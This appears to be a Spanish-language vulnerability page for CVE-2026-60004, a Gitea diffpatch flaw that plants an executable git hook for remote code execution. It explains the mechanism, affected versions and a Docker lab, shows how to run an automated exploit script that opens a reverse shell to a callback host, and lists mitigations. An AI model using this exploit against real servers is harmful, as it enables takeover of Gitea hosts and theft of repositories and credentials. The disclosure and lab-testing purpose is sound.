Volver a actualizaciones
ActualizadaAug 7, 2026

CVE-2026-60004 — Actualizado!

Gitea diffpatch RCE

Compartir

CVE-2026-60004 Gitea diffpatch RCE

★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★

https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b


Resumen

CVE-2026-60004 es una vulnerabilidad de Ejecución Remota de Código (RCE) en Gitea. La API diffpatch aplica un parche suministrado con git apply --cached, que solo debería tocar el índice y nunca escribir archivos en el disco. Al enviar el mismo parche dos veces, un atacante fuerza una colisión add/add que desencadena el mecanismo de fusión de tres vías (-3) de Git. Esa ruta ignora --cached y extrae el archivo al árbol de trabajo. Debido a que el clon temporal es bare, la raíz de su árbol de trabajo es $GIT_DIR. Un parche que crea un hooks/post-index-change ejecutable, por tanto, coloca un hook de Git activo, que Git ejecuta automáticamente en la siguiente actualización del índice — ejecutando comandos como la cuenta de servicio de Gitea. El endpoint requiere acceso de escritura al repositorio, pero el registro está habilitado por defecto, por lo que cualquier usuario que pueda registrarse y crear un repositorio puede alcanzarlo.


Versiones Afectadas

CategoríaVersión
VulnerableGitea 1.17 ≤ versión ≤ 1.27.0
CorregidaGitea 1.27.1 o posterior

Impacto

  • Ejecución Remota de Código como la cuenta de servicio de Gitea (git)
  • Acceso a todos los repositorios alojados, secretos de CI y credenciales de base de datos

Entorno

Construye y ejecuta el entorno vulnerable de Gitea. El registro se deja abierto y el servidor incluye Git 2.32+, que habilita el mecanismo de respaldo -3 del que depende el ataque.

docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
PrecondiciónEstado en este laboratorio
Gitea 1.17 – 1.27.01.27.0
Git 2.32+ en el servidor (habilita -3)2.54
Registro abiertohabilitado (por defecto)
Acceso de escritura al repositoriomediante cuenta auto-registrada

PoC

El exploit está totalmente automatizado por gitea_exploit.py. Dada una cuenta que pueda crear un repositorio, crea el repositorio objetivo, envía el mismo parche repetidamente hasta que el mecanismo de respaldo -3 de Git se activa, y captura la reverse shell con un listener integrado — sin configuración manual, creación de parches ni cálculos de blob-hash necesarios.

# python3 gitea_exploit.py <ip:puerto objetivo> <ip de callback> [puerto de callback]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
  --user test --pw 11111111 --repo rce

El mecanismo de respaldo -3 solo se activa en ciertas ventanas de tiempo, por lo que el script itera crear → enviar → enviar hasta capturar (25 intentos por defecto). Cuando un envío se bloquea, el hook se ha activado y el listener te deja en una shell como git:

[*] intento  3/25 -> envío#1 201, envío#2 timeout   <- BLOQUEADO (¡activado!)
[+] shell desde 172.17.0.2:53344 -- escribe comandos, Ctrl-C para salir
uid=1000(git) gid=1000(git) groups=1000(git)

Opciones:

  • --no-listen — captura la shell con tu propio nc externo en lugar del listener integrado
  • --user / --pw / --repo / --branch — sobrescribe la cuenta y el repositorio objetivo por defecto

Mitigación

  • Actualiza Gitea a 1.27.1 o posterior
  • Desactiva el registro abierto si no es necesario (DISABLE_REGISTRATION=true)
  • Restringe quién puede acceder a la instancia y crear repositorios

Análisis

  • KR: ¡Próximamente!
  • EN:

Categorías